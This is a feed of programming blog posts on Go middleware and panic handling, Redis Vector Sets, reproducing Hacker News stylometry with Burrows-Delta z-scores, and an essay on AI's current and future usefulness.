  For many years, I've used third-party packages to help organize and manage middleware in my Go web applications. In small projects, I often used alice to create middleware 'chains' that I could reuse across multiple routes. And for larger applications, with lots of middleware and routes, I typically used a router like chi or flow to create nested route 'groups' with per-group middleware. But since Go 1.22 introduced the new pattern matching functionality for http.ServeMux, where possible I've tried to drop third-party dependencies from my routing logic and shift to using just the standard library. But going all-in on the standard library leaves a good question: how should we organize and manage middleware without using any third-party packages? Note: If you're not familiar with middleware in Go, I recommend reading this introduction to making and using middleware before continuing. Why is managing middleware a problem? If you have an application with only a few routes and middleware functions, the simplest thing to do is to wrap your handler functions with the necessary middleware on a route-by-route basis. A bit like this: // No middleware on this route. mux.Handle("GET /static/", http.FileServerFS(ui.Files)) // Both these routes use the requestID and logRequest middleware. mux.Handle("GET /", requestID(logRequest(http.HandlerFunc(home)))) mux.Handle("GET /article/{id}", requestID(logRequest(http.HandlerFunc(showArticle)))) // This route has the additional authenticateUser and requireAdminUser middleware. mux.Handle("GET /admin", requestID(logRequest(authenticateUser(requireAdminUser(http.HandlerFunc(showAdminDashboard)))))) This works, and requires no external dependencies, but you can probably imagine the downsides as the number of routes grows: There's repetition in the route declarations. It's a bit difficult to read and see which routes are using the same middleware at a glance. It feels error-prone — in a large application if you need to add, remove or reorder middleware across many routes it could be easy to miss out one of the routes and not spot the mistake. An alternative to alice As I briefly mentioned above, the alice package allows you to declare and reuse 'chains' of middleware. We could rewrite the example code above to use alice like so: mux := http.NewServeMux() // Create a base middleware chain. baseChain := alice.New(requestID, logRequest) // Extend the base chain with auth middleware for admin-only routes. adminChain := baseChain.Append(authenticateUser, requireAdminUser) // No middleware on this route. mux.Handle("GET /static/", http.FileServerFS(ui.Files)) // Public routes using the base middleware. mux.Handle("GET /", baseChain.ThenFunc(home)) mux.Handle("GET /article/{id}", baseChain.ThenFunc(showArticle)) // Admin routes with the additional auth middleware. mux.Handle("GET /admin", adminChain.ThenFunc(showAdminDashboard)) To me, this code feels quite a lot cleaner, and it largely mitigates the three problems that we talked about above. But if you don't want to introduce alice as a dependency, it's possible to leverage the slices.Backward function introduced in Go 1.23 and create your own chain type in a few simple lines of code: type chain []func(http.Handler) http.Handler func (c chain) thenFunc(h http.HandlerFunc) http.Handler { return c.then(h) } func (c chain) then(h http.Handler) http.Handler { for _, mw := range slices.Backward(c) { h = mw(h) } return h } You can then use this chain type in your route declarations like so: mux := http.NewServeMux() // Create a base middleware chain. baseChain := chain{requestID, logRequest} // Extend the base chain with auth middleware for admin-only routes. adminChain := append(baseChain, authenticateUser, requireAdminUser) mux.Handle("GET /static/", http.FileServerFS(ui.Files)) mux.Handle("GET /", baseChain.thenFunc(home)) mux.Handle("GET /article/{id}", baseChain.thenFunc(showArticle)) mux.Handle("GET /admin", adminChain.thenFunc(showAdminDashboard)) The syntax in this code isn't exactly the same as using alice, but it's pretty close, and in terms of behavior it's functionally the same. If you're interested in using this approach in your own codebase, I've made tests for the chain type available in this gist. An alternative to chi and similar routers In large applications, when I have lots-of-different-middleware being used on lots-of-different-routes, I've always found the route grouping functionality provided by routers like chi and flow to be a huge help. They basically allow you to create route groups with specific middleware, and these groups can be nested, with child groups 'inheriting' and extending the middleware of their parent groups. Let's take a look at an example using chi, which I think was the first router to support this style of route grouping functionality. r := chi.NewRouter() // No middleware on this route. r.Method("GET", "/static/", http.FileServerFS(ui.Files)) // Create a route group. r.Group(func(r chi.Router) { // Add the middleware for the group. r.Use(requestID) r.Use(logRequest) // The routes declared in the group will use this middleware. r.Get("/", home) r.Get("/article/{id}", showArticle) // Create a nested route group. Any routes in this group will use the // middleware declared in the group *and* the parent groups. r.Group(func(r chi.Router) { r.Use(authenticateUser) r.Use(requireAdminUser) r.Get("/admin", showAdminDashboard) }) }) But if you want to stick with the standard library, it doesn't take much to create your own router implementation that wraps http.ServeMux and supports middleware groups in a similar style: type Router struct { chain []func(http.Handler) http.Handler *http.ServeMux } func NewRouter() *Router { return &Router{ServeMux: http.NewServeMux()} } func (r *Router) Use(mw ...func(http.Handler) http.Handler) { r.chain = append(r.chain, mw...) } func (r *Router) Group(fn func(r *Router)) { subRouter := &Router{chain: slices.Clone(r.chain), ServeMux: r.ServeMux} fn(subRouter) } func (r *Router) HandleFunc(pattern string, h http.HandlerFunc) { r.Handle(pattern, h) } func (r *Router) Handle(pattern string, h http.Handler) { for _, mw := range slices.Backward(r.chain) { h = mw(h) } r.ServeMux.Handle(pattern, h) } And then you can use the Router type in your code like so: r := NewRouter() r.Handle("GET /static/", http.FileServerFS(ui.Files)) r.Group(func(r *Router) { r.Use(requestID) r.Use(logRequest) r.HandleFunc("GET /", home) r.HandleFunc("GET /article/{id}", showArticle) r.Group(func(r *Router) { r.Use(authenticateUser) r.Use(requireAdminUser) r.HandleFunc("GET /admin", showAdminDashboard) }) }) Again, complete tests for the Router type are available in this gist.

• Reproducing Hacker News writing style fingerprinting
  Antirez · Apr 16, 2025

  About three years ago I saw a quite curious and interesting post on Hacker News. A student, Christopher Tarry, was able to use cosine similarity against a vector of top words frequencies in comments, in order to detect similar HN accounts — and, sometimes, even accounts actually controlled by the same user, that is, fake accounts used to uncover the identity of the writer. This is the original post: https://news.ycombinator.com/item?id=33755016 I was not aware, back then, of Burrows-Delta method for style detection: it seemed kinda magical that you just needed to normalize a frequency vector of top words to reach such quite remarkable results. I read a few wikipedia pages and took mental note of it. Then, as I was working with Vectors for Redis I remembered about this post, searched the web only to discover that the original page was gone and that the author, in the original post and website, didn’t really explained very well how the data was processed, the top words extracted (and, especially, how many were used) and so forth. I thought I could reproduce the work with Vector Sets, once I was done with the main work. Now the new data type is in the release candidate, and I found some time to work on the problem. This is a report of what I did, but before to continue, the mandatory demo site: you can play with it at the following link: https://antirez.com/hnstyle?username=pg&threshold=20&action=search NOTE: since the dataset takes 700MB of RAM, in my tiny server, in the next months I may take this down. However, later in this post you will find the link and the Github repository with the code to reproduce everything from scratch. NOTE2: I hope the web site will survive, it's a very crude Python script. I benchmarked the VSIM command in such a small server and yet it can deliver 80k VSIM per second! The wonders of int8 quantization, together with a few more optimizations. But the Python script is terrible, creates a new Redis connection each time and so forth. Fingers crossed. # Raw data download and processing Well, the first problem I had, in order to do something like that, was to find an archive with Hacker News comments. Luckily there was one with apparently everything posted on HN from the start to 2023, for a huge 10GB of total data. You can find it here: https://huggingface.co/datasets/OpenPipe/hacker-news and, honestly, I’m not really sure how this was obtained, if using scarping or if HN makes this data public in some way. Since I’m not a big fan of binary files, in the specific case of public datasets at least, I used two Python scripts in order to convert the Parquet files into something smaller and simpler to handle. The first script, gen-top-words.py, takes the binary files and generates a txt file with the list of the top N words used in the dataset. It generates 10k words by default, but for the statistical analysis a lot less are needed (or, actually: if you use too many words you no longer capture the style, but the kind of content a user is talking about!). Then, another Python script, accumulates all the comments for each single user and generates a very big JSONL file where there are just two keys: the user name and the frequency table of all the words used by a given user in all the history from HN starts to 2023. Each entry is like that: {"by": "rtghrhtr", "freqtab": {"everyone": 1, "hates": 1, "nvidia": 1, "but": 1, "treats": 1, "ati": 1, "as": 1, "an": 1, "afterthought": 1, "another": 1, "completely": 1, "useless": 1, "tool": 1, "to": 1, "throw": 1, "on": 1, "the": 1, "pile": 1}} At this point, the final script, insert.py, could do all the real work: to apply the Borrows method for each user, create the user style vector, and insert it into Redis. The advantage of pre-processing the files (a slow operation) is that the insertion script could be called more easily with different parameters (especially the number of top words to use) in order to see the different results more promptly, without the need to re-process the Parquet files each time. # How the Burrow method works? In the original post, Christopher wrote that you just need to normalize the frequency of the words usage and apply cosine similarity. Actually the process is a bit more involved. First, let’s ask ourselves, how this method actually works, in its essence? Well, it wants to capture words that each specific user over-uses or under-uses compared to the expected “average” language. To do so, we actually use the following steps (from the Python code). That’s what we do for each of the top words: # Convert to relative frequency rel_freq = frequency / total_words # Standardize using z-score: z = (freq - mean) / stddev mean = word_means.get(word, 0.0) stddev = word_stddevs.get(word, 1.0) # Default to 1.0 to avoid division by zero z_score = (rel_freq - mean) / stddev # Set the z-score directly in the vector at the word's index vector[word_to_index[word]] = z_score So we start by “centering” the frequency the user used a given word, by subtracting the *global* usage frequency for that word. This way, we have a number that describes how much the user under (negative) or over (positive) used such word. But, if you think at it, words that have a much higher variance among usage of different writers are less important, when they change. We want to amplify the signal of words that are under of over used by this user in a much greater way compared to the normal variance of the word. This is why we divide the centered frequency by the global standard deviation of the word. Now we have what is called the “z score”, an adjusted measure of how much a given word is an outlier in one or the other direction. Now, we are ready to insert the word into a Redis vector set, with just: VADD key FP32 [blob with 350 floats] username (I’ll not cover the details of vector sets here since you can find the doc here -> https://github.com/redis/redis/blob/unstable/modules/vector-sets/README.md) Note that Redis performs L2 normalization of the inserted vectors, but remembers the L2 value in order to return back the values when VEMB is used to retrieve the associated vector, so the z_score was set as it is. Finally, with VSIM, we can get similar users: 127.0.0.1:6379> vsim hn_fingerprint ele pg 1) "pg" 2) "karaterobot" 3) "Natsu" 4) "mattmaroon" 5) "chc" 6) "montrose" 7) "jfengel" 8) "emodendroket" 9) "vintermann" 10) "c3534l" All the code (but the webapp itself) can be found here: https://github.com/antirez/hnstyle The README file explains how to reproduce every part. # Why 350 words? One of the things missing in the original post that stimulated this blog post, is how many top words one should use. If you use too many words, you’ll see many comments of mine about Redis, since Redis is one of the top 10k words used. Guess what? I did exactly this error, initially, and VSIM continued to report users that talked about similar topics than myself, not with similar *style*. But fortunately the Internet Archive cached the Christopher results for the “pg” account, here: https://web.archive.org/web/20221126235433/https://stylometry.net/user?username=pg So now I could tune my top-k words to get similar results. Also, reading the original papers, I discovered that, with my surprise, for the analysis to work well you need even as little as 150 words. And in general the range from 150 to 500 is considered to be optimal. Warning: don’t believe that when you search for a user you’ll find mostly fake accounts. For many fake accounts there is too little data, as often people create throw away accounts, write a few comments, and that’s it. So most of the accounts associated with a given user style will be just other people that have a similar writing style. This method I believe is quite powerful in distinguishing who is a native speaker and who is not. This is especially clear from the vectors visualization below. # Validate and visualize… Another thing that I reproduced (also an idea from OP) was to try inserting the same users in two variants, like antirez_A and antirez_B, using two different set of comments. Then check if asking for similar users to antirez_A would report B. Indeed, for *most* of the users I tested this against, it worked very well, and often times it was the top result. So we know that actually our method works. But since from the vectors it is so easy to “see” a style, what about our naked eyes? Recently I switched to Ghostty as my terminal, and it supports the Kitty graphics protocol, so you can display bitmaps directly in the terminal window. It is quite some time I want to play with it. Finally I had a good reason to test this feature. img://antirez.com/misc/hnstyle_1.jpg What’s happening above is that we call the VEMB command, that returns just a list of floats (the vector). Then the vshow utility, also part of the repository, will care to find the smallest square that can contain the vector and show positive values in red, negative in green. As you can see, as a non native speaker I over-use very simple words and under-use more sophisticated words. Other authors stress certain specific words, others are much more “plain”, showing less artifacts. At some point I was curious about what was really happening there: what words I would use too much and too little? So in the demo website you can also press the button to analyze a given user, and see the top 10 words over-used and under-used. Well, a few of mine are definitely due to my issues with English grammar :D Ok, enough with this investigation! Vector sets are now in Redis 8 RC1 and I have more work to do, but this was fun, and I believe it shows that vectors were definitely cool even before AI. Thanks for reading such a long post. EDIT: I forgot to say that the insert.py script also inserts the JSON metadata with the total words written by the user. So you can use FILTER in order to only show matches with a given number of words. This can be useful to detect duplicated accounts since often they are used only seldom, when the identity must be covered: 127.0.0.1:6379> vsim hn_fingerprint ele pg FILTER ".wordcount 1) "montrose" 2) "kar5pt" 3) "ryusage" 4) "corwinstephen" 5) "ElfinTrousers" 6) "beaned" 7) "MichaelDickens" 8) "bananaface" 9) "area51org" 10) "william42" EDIT2: In case the matches look suspicious to you (meaningless), like tptacek noted in a comment in the HN submission of this blog post, here is a "visual" match that shows how, for instance, montrose and pg are really similar in the words usage patterns: img://antirez.com/misc/hnstyle_2.jpg Comments

• Vector Sets are part of Redis
  Antirez · Apr 03, 2025

  Yesterday we finally merged vector sets into Redis, here you can find the README that explains in detail what you get: https://github.com/redis/redis/blob/unstable/modules/vector-sets/README.md The goal of the new data structure is, in short, to create a new “Set alike” data type, similar to Sorted Sets, where instead of having a scalar as a score, you have a vector, and you can add and remove elements the Redis way, without caring about anything except the properties of the abstract data structure Redis implements, ask for elements similar to a given query vector (or a vector associated to some element already in the set), and so forth. But more about that later, a bit of background, first: From the path of the README itself, you can see the implementation is into “modules”, but actually, Vector Sets are not a module, it’s a part of the Redis core, the thing is that I started developing them as a module, and later I suggested that the implementation should still use the modules API, in order to promote modularity of the internals of Redis, in order to have both the advantages: every Redis instance starting from Redis 8 will have Vector Sets as a native data type, and there are clear boundaries between the core and the implementation ## The first new main data type of Redis after… some time I think that the latest big data structure of Redis were Streams, also developed by me. I resigned, returned, forks happened in the meantime, and it still it looks like the burden to introduce a new data type in Redis is mine :D I must say: I’m ok with that, because as much as I like programming, I also like design, a lot, and I had a feeling, that vectors, and vector similarity, are conceptually very simple, so they deserved a very simple API. And that was what I tried to do. Vector Sets are still a beta feature but I can tell you something, I can guarantee you can learn the API in 3 minutes. I decided that a fundamental requirement for implementing vector similarity was to also reimplement from scratch HNSWs (you can see my implementation in hnsw.c), because that was going to be my core data structure, and I didn’t want to grab some random code from GitHub and be happy with it. However, as I started reading the papers, I started to understand that a few pieces were missing. So, as I did in the past with HyperLogLog, where I had to fill a few gaps (here: https://antirez.com/news/75), there was already some new algorithmic challenges. Especially I wanted two things: 1. To have true deletions of nodes. In Vector Sets you can add new elements with VADD, and you can remove elements with VREM. And I wanted the memory to be reclaimed ASAP. 2. I wanted to be sure that as you delete elements, the connectivity properties of the HNSW graph were retained. So this lead me to a few differences compared to other implementations of HNSW. I don’t use tombstone deletions, but effectively unlink the node in the moment it gets deleted, relinking it back with other potential good neighbors. To do so, in turn, my implementation is designed to enforce that links must be reciprocal, it’s no longer a best effort property: this in turn changes quite a bit what you need to do during insertions. Another modification I did in the HNSW was to support the ability to scan the graph with a predicate function, so that you can ask for nodes matching a given expression. This requires to modify the greedy graph scanning algorithm in some way: to collect potential nodes to visit, and to collect the result set, but also to have some early stop condition in case there is too much selectivity in the query. We don’t want trigger a full graph scan, of course. Other than the HNSW modifications, I wanted a few more things that are more pragmatic and obvious: 1. Threading of all the vector similarity requests. Yeah, that’s new in Redis land, but as much as I believe single thread and shared nothing was a good design in general, I think that vectors are special. They are slow, a lot slower than other data structures modeled by Redis. As a bonus point, as I was implementing threaded VSIM (the command that performs vector similarity queries) I also discovered that with a few tricks you can split the read half and the write half of writes in two parts, so that neighbors candidate collections happen in the background, and the actual insertion is performed in the foreground. This splitting however is not the default, and you need to force it with the CAS option of VADD. 2. I wanted to support quantization and even make it the default. So Vector Sets ship with both 8 bit quantization and binary quantization. There is also support for random projection for dimensionality reduction. However as much as I like RP and having bin quants, the reality is that the “killer” for me is int8 quants. They are super fast, take 25% of the memory of FP32, and the results are nearly identical to those from full vectors for most vectors generated via embedding AI models. Btw the end result is, I believe, a very fast implementation. For instance in my machine, with a 3 million items vector set of 300 components each, I get 50/60k VSIM (top 10 items) per second on my laptop. But I encourage you to do your benchmarks. Also note that Vector Sets are serialized on disk as a graph, so when they are loaded back in memory, after a Redis restart, you don’t pay back the insertion time: loading every million of elements take a few seconds and not the minutes needed otherwise to add back into the in-memory HNSW. ## Data structures, not indexes What I’ve said so far is all about the low level stuff. But for me the most interesting part of Vector Sets is the data model and the API supporting it. Many databases propose vector similarity as a kind of index, but that’s Redis, and things in Redis are data structures: no exception this time. You add stuff like that: > VADD mykey FP32 …blob of data… item1 And so forth. So you can have many small vector sets if you want, one per key. And an important thing here is that if you split your vectors into N different keys (hashing the item you are inserting or alike to select which key to pick), then you can merge different VSIM calls against different keys into a single reply: > VSIM word_embeddings_int8 ele "banana" WITHSCORES COUNT 4 1) "banana" 2) "0.9997616112232208" 3) "bananas" 4) "0.8758847117424011" 5) "pineapple" 6) "0.8288004100322723" 7) "mango" 8) "0.8179697692394257" If I get a few of those results from different keys and instances, I can sort by the score (where 1 means identical, 0 opposite vector) and that’s it. So, my feeling is that Vector Sets can be composed into different patterns to handle having many vectors (they consume quite a bit of RAM) into different instances and so forth. Also it is interesting that splitting linearly scale writes, since each subset will hit a given key, and multiple insertions are possible in parallel. As usually, the Redis community will likely figure many usage patterns that are now not obvious. ## How filtering works About filtering, if threading was not common in Redis, let’s imagine JSON! But for the first time, I found a good reason to expose JSON directly in the Redis API, user facing: > VGETATTR word_embeddings_int8 banana {"len": 6} So basically with VSETATTR / VGETATTR (and equivalent option to set the JSON attribute directly when adding the item in VADD) you can associate a string to the items you want. Then you can do things like that: > VSIM word_embeddings_int8 ele "banana" FILTER ".len == 3" 1) "yam" 2) "pea" 3) "fig" 4) "rum" 5) "ube" 6) "oat" 7) "nut" 8) "gum" 9) "soy" 10) "pua" The filter expression is not a programming language, is what you could write inside the if() statement of high level programming languages, with &&, ||, all the obvious operators and so forth (but I bet we will add a few more). Well, the details are into the doc, there are also memory usage examples, in depth discussions about specific features, and so forth. I will extend the documentation soon, I hope. For now I really (really!) hope you’ll enjoy Vector Sets. Please, ping me if you find bugs :) Comments

• When is it OK to panic in Go?
  Alex Edwards · Mar 31, 2025

  If you've been working with Go for a while, you might be familiar with the Go proverb "don't panic". It's a pithy way of saying: "handle errors gracefully, or return them to the caller to handle gracefully, instead of passing errors to the built-in panic() function". And while "don't panic" is a great guideline that you should follow, sometimes it's taken to mean that you should no-way, never, ever call panic(). And I don't think that's true. The panic() function is a tool, and there are some rare times when it might be the appropriate tool for the job. In this post we'll talk through what panic() does and why it's generally better to avoid using it, discuss some scenarios where panicking can be appropriate, and finish with a few real-world examples. Panicking vs. returning errors Let's begin by creating a timeIn() function, which takes a IANA time zone name and returns the current time in that zone. In Go, if the timeIn() function encounters an error, the normal and idiomatic way to deal with it would be to return the error to the caller. Like so: package main import ( "fmt" "os" "time" ) func timeIn(zone string) (time.Time, error) { loc, err := time.LoadLocation(zone) if err != nil { return time.Time{}, err // Return any error from time.LoadLocation() } return time.Now().In(loc), nil } func main() { tz := "Europe/Wonderland" t, err := timeIn(tz) if err != nil { fmt.Println("Error:", err) os.Exit(1) } fmt.Println("Current time in", tz, "is", t) } $ go run main.go Error: unknown time zone Europe/Wonderland exit status 1 In theory, you could handle the potential error inside timeIn() by passing it to panic() — instead of returning it. Like this: package main import ( "fmt" "time" ) func timeIn(zone string) time.Time { loc, err := time.LoadLocation(zone) if err != nil { panic(err) // Call panic() with the error as the argument } return time.Now().In(loc) } func main() { tz := "Europe/Wonderland" t := timeIn(tz) fmt.Println("Current time in", tz, "is", t) } $ go run main.go panic: unknown time zone Europe/Wonderland goroutine 1 [running]: main.timeIn({0x4c2c7e?, 0x7d40fe626108?}) /tmp/main.go:11 +0xc5 main.main() /tmp/main.go:20 +0x2b exit status 2 When you call panic() in your Go code, it will do the following four things: Immediately stop normal execution of the code in the current function. Nothing after the call to panic() will be executed. Run any deferred functions for the current goroutine in reverse (LIFO) order. Print out panic: and the value you passed to the panic() function to os.Stderr, along with a stack trace for the current goroutine at the point panic() was called, . Terminate the program with exit code 2. Note: It's possible to recover panics by using the recover() function inside a deferred function, in which case step 2 will only be executed until the point of recovery, and steps 3 and 4 in the list above won't automatically happen. Explaining how recover() works is outside the scope of this blog post, but here's a good introduction and I also recommend watching this video for a discussion of some intricacies. Also note: The official documentation for panic() only goes as far as saying "the program is terminated with a non-zero exit code". As far as I can see, at the time of writing, the exit code following an unrecovered panic is always 2, but the documentation deliberately says "non-zero" to give wiggle-room for a potential change to a different exit code in the future. There's a discussion about this here. Why is panicking considered bad? The panic() function itself isn't intrinsically bad. In fact, what it does for you is really quite nice — the running of deferred functions, the printing of the stack trace... this is good stuff. It's more that returning errors is normally better. When you call panic() in a function, it always sets off the same fixed chain of events that we described above. Whereas if the function returns the error, the caller has full control over how that error is managed. It could be logged, presented to a user, the function could be retried, or the error could even be ignored. Alternatively, the error could be propagated again back up the call stack to the grandparent caller to manage. It all depends on the use case. When you return an error, the caller has control and flexibility to handle it in the most appropriate way. There are also some other benefits of returning errors: When propagating errors back up the call stack, you can optionally wrap them to provide additional context at each step. This extra context can make errors more informative and useful, and potentially make debugging easier than relying solely on the stack trace from a panic(). It's easier to write unit tests for a function when it returns errors. It's certainly not impossible to verify that a function panics when you expect it to during a test, but it is more awkward and less clear than just checking an error return value. If you're creating a package for other people to import and use, it's polite to return errors instead of panicking. Remember: a panic will terminate the running application, which people using your package may not expect or appreciate! It's better to return an error, and leave it up to the caller to decide what to do next. They can always call panic() with the error if they want. Finally, it's just the Go way. Errors are normally returned — it's what the Go standard library mostly does, and it's what other Gophers have come to expect as standard. By sticking with this convention, your code is more predictable and easier for other people to follow. So, returning errors (or handling them gracefully then-and-there) is almost always better. Which leaves us with the question, when is panicking the better option? When is panicking appropriate? To answer this, it's helpful to distinguish between what I'll call "operational errors" and "programmer errors" for the purpose of this post. By operational errors, we're talking about errors that you might reasonably expect to happen during the operation of your program. Some examples are errors caused by a database or network resource being temporarily unavailable, the permissions on a file being wrong, a timeout on a long-running operation, or invalid user input. These errors don't necessarily mean there is a problem with your program itself — in fact they're often caused by things outside the control of your program. Operational errors are to be expected. And because you know there's a chance they'll occur during normal operation, you should endeavour to return them to the caller and gracefully handle them in a way that makes the most sense for your program. Don't use panic() to manage them. By programmer errors, we're talking about errors which should "never" happen during the operation of your program — the kind of error that stems from a developer mistake, a logical flaw in your codebase, or trying to use another piece of code in an unsupported way. Ideally, you'd spot programmer errors during development or testing, rather than having them surface in production. And (hopefully!) they should be relatively rare. When you encounter a programmer error, it means that your program finds itself in an unexpected state. And in this scenario, calling panic() is much more commonly accepted as an appropriate thing to do. For all the good reasons that we talked about above, if it is possible to safely and gracefully manage the error by returning it up the call stack, then you should default to doing that still. But using panic() can be a good and appropriate choice when either: The error is truly unrecoverable (that is, there is no reasonable way to safely continue operating and handle the error more gracefully); or Returning the error would add an unacceptable amount of complexity or additional error handling code to the rest of your codebase — all for something that you never expect to see in production. You can see this logic play out in some of the Go standard library operations that trigger a panic. For instance: Dividing an integer or float by 0 Accessing an out-of-bounds index in slice or array Dereferencing a nil pointer Trying to use a nil map Unlocking a mutex that isn't locked Sending on a closed channel Defining two flags with the same name in the same flag.FlagSet Passing an integer or > 999 to http.ResponseWriter.WriteHeader() When a sync.WaitGroup counter drops below zero What do all these have in common? First, they're programmer errors. If any of these things happen, it's due to a logical mistake in your codebase or you trying to use a language feature or function in an unsupported way. These things shouldn't happen during normal operation in production. And if they returned an error, it would add an arguably unacceptable amount of extra error handling to everyone's Go code. Just imagine if you had to check for an error return value every time you use the / operator, access a value in a slice, or unlock a mutex. It would add a lot of overhead. So, in summary, it can be appropriate to use panic() to deal with programmer errors that are either unrecoverable or where returning an error would add an unacceptable amount of extra error handling to the rest of your codebase. Exactly what constitutes "an unacceptable amount" is your judgement call, based on your experience and particular codebase. And that's OK. There's no exact right or wrong answer here. On top of this, there are a couple of other scenarios where I think calling panic() can be appropriate: In a last-ditch 'guard clause' to prevent a particular operation happening when it shouldn't. If the panic ever gets executed, it indicates a bug in your program or violation of some internal business logic. When you don't want the program to continue and there are no better options for dealing with the error beyond calling panic(). Real-world examples and discussion By now I hope it's clear that panic() should be used sparingly and only when it really makes sense. Personally, probably about half of the codebases I work on don't call panic() at all, and even when they do, it's only in a few places. So with that said, here are a few real-life examples from recent codebases I've worked on. Example one Here's an example from a web application, where we have some code to retrieve a user value from the HTTP request context. type contextKey string const userContextKey = contextKey("user") func contextGetUser(r *http.Request) user.User { user, ok := r.Context().Value(userContextKey).(user.User) if !ok { panic("missing user value in request context") } return user } In this particular application, the code is structured in such a way that the contextGetUser() function is only ever called when we logically expect there to be a user value in the request context. In this application, a missing value is firmly an programmer error and indicates that there is something wrong with the codebase. Yes, contextGetUser() could return an error instead of panicking. The error is certainly recoverable — the caller could cease further operations, log the error and send the user a 500 Internal Server Error response. But this function gets called a lot, and it felt like returning an error would introduce excessive error handling for something that we should never see during normal operation. On balance, using panic() here felt appropriate. Example two Here's another example from the same application: func getEnvInt(key string, defaultValue int) int { value, exists := os.LookupEnv(key) if !exists { return defaultValue } intValue, err := strconv.Atoi(value) if err != nil { panic(err) } return intValue } In this application, getEnvInt() is a helper function used to read a value from an environment variable and convert it to an int. If the conversion fails, then it panics. At first glance, this might not seem like a suitable place to use panic(). An error when trying to convert a specific environment variable to an int seems like something outside of our program's control — an operational error. And it is. But in this case, the getEnvInt function is used (and only used) right at the start of the program to load configuration settings from the environment, like so: httpPort := getEnvInt("HTTP_PORT", 3939) At this early stage of the program, the logger (which also happens to rely on environment settings) hasn't been initialized. Since the program can't run without valid configuration values, and there's no proper logger available yet to handle errors gracefully, there aren't any other good options on the table for managing this error. Resorting to panic() feels like a reasonable choice. It fits the scenario of you don't want the program to continue and there are no better options for dealing with the error. Note: I could have made the getEnvInt() function return an error, and had the caller itself call panic(). But it would have generated additional error handling for basically the same end result, so on balance it made sense to panic from within getEnvInt(). Example three This is an example of where I've previously used panic() in a guard clause. var safeChars = regexp.MustCompile("^[a-z0-9_]+$") type SortValues struct { Column string Ascending bool } func (sv *SortValues) OrderBySQL() string { if !safeChars.MatchString(sv.Column) { panic("unsafe sort column: " + sv.Column) } if sv.Ascending { return fmt.Sprintf("ORDER BY %s ASC", sv.Column) } return fmt.Sprintf("ORDER BY %s DESC", sv.Column) } In this particular application, there was a need to generate SQL queries with dynamic ORDER BY parameters based on user input. Unfortunately, SQL doesn't support placeholder parameters in ORDER BY clauses, so we have to use string interpolation to insert the column name and sort direction into the query instead. The SortValues type holds the user-provided column name and sort direction, and its OrderBySQL() method returns a string like ORDER BY title ASC. By the time that the OrderBySQL() method is called, one of the upstream functions should have already validated the SortValues.Column value against a whitelist of allowed column names. But if a bug, or oversight, ever caused that validation step to be missed, the application would be vulnerable to a SQL injection attack via the user-provided column name. So, as a last-ditch mitigation, we use a panicking guard clause in OrderBySQL() to ensure that the SortValues.Column value only contains 'safe' characters (a to z, 0 to 9, and underscores). We never expect this check to fail, so returning an error from OrderBySQL() seems like overkill. But if it ever did happen, it feels better to trigger a panic than risk compromising the database. Summary So, let's answer the title of this post: When is it OK to panic in Go? Your default should always be to return errors to the caller — or handle them gracefully then-and-there. "Don't panic" is a good guideline to almost always follow. But panic() isn't inherently bad, and using it is appropriate when: Your program encounters a programmer error and there is no way to manage it safely in a more graceful way. Your program encounters a programmer error and returning it to the caller would add an unacceptable amount of complexity or error handling to the rest of your codebase. You have a last-ditch 'guard clause' to prevent a particular operation happening when it shouldn't. Your program can't continue and there are simply no better options for dealing with the error in a more graceful way.

• AI is useless, but it is our best bet for the future
  Antirez · Mar 23, 2025

  I used AI with success 5 minutes ago. Just five minutes ago, I was writing a piece of software and relied on AI for assistance. Yet, here I am, starting this blog post by telling you that artificial intelligence, so far, has proven somewhat useless. How can I make such a statement if AI was just so helpful a moment ago? Actually, there's no contradiction here if we clarify exactly what we mean. Here’s the thing: at this very moment, artificial intelligence can support me significantly. If I'm struggling with complicated code or need to understand an advanced scientific paper on math, I can turn to AI for clarity. It can help me generate an image for a project, make a translation, clean my YouTube transcript. Clearly, it’s practical and beneficial in these everyday tasks. However, except for rare, groundbreaking examples like AlphaFold — Google's AI that significantly advanced our understanding of protein folding — AI has yet to genuinely push forward human knowledge in a fundamental way. Aside from these few exceptional results, AI hasn’t (obviously) yet matched the capabilities of the very best human minds. If an AI system were at the same level as the brightest humans (and not better than that: it's not needed for a first humanity jump) we could deploy millions of such systems to accelerate research dramatically, transforming progress expected to take centuries into developments happening within decades, or decades into years. Yet, if artificial intelligence remains stuck at its current level of development indefinitely (even if with small incremental improvements, enough to fire many translators, programmers, drivers, actors, ...), perhaps it might have been better not to have it at all. I mentioned this during a conference here in Sicily. The thought hadn't crossed my mind until I was asked on stage. While I was formulating my reply I asked myself: if we knew AI would only yield minor incremental improvements, would it be worth enduring the social upheaval caused by job losses and other stresses? Possibly not. Technologies should serve humanity by enabling greater cultural development, reducing suffering, and allowing us to achieve what otherwise would be impossible. The current level of AI, while helpful, doesn't fully achieve that. That's why investing in AI is like making a bet. I advocate for further investment and continued progress — not necessarily because of what AI can currently do, but because of what it might become in the future. The advancements we see today often exceed our expectations, hinting at even greater unforeseen breakthroughs tomorrow. For us proponents of AI, the argument shouldn't hinge solely on AI’s current abilities but rather on its potential. Five years from now, AI could offer revolutionary advancements in medicine, saving countless lives. In 10 to 20 years, it might significantly contribute to environmental solutions, clarifying complex issues or providing effective methods to mitigate climate change. Even a modest breakthrough might clarify that climate change dynamics, while serious, can be controlled more effectively than we currently believe, or don't need control as they are not as dramatic as we may think, or that decisive action can resolve the problem within a manageable timeframe. The real stakes are in the future, not the present. To focus exclusively on today's AI capabilities limits our perspective and makes it challenging to convince skeptics. But if future developments meet or exceed expectations, the temporary social problems arising today would be a small price to pay for the immense benefits. However, we must be cautious. Existential risks (AI potentially becoming a catastrophic threat) are real, though minimal. We must remain vigilant and prepared. Social challenges, too, require thoughtful attention from governments and societies. Ultimately, I believe we must take the risk, persist, and explore what's beyond the frontier, because if AI fulfills even some of its enormous potential, it could redefine our capabilities, reshape society, and completely transform humanity’s future: for the better. Now, let me go back to my LLM for free and fast code review. Comments

• Big LLMs weights are a piece of history
  Antirez · Mar 16, 2025

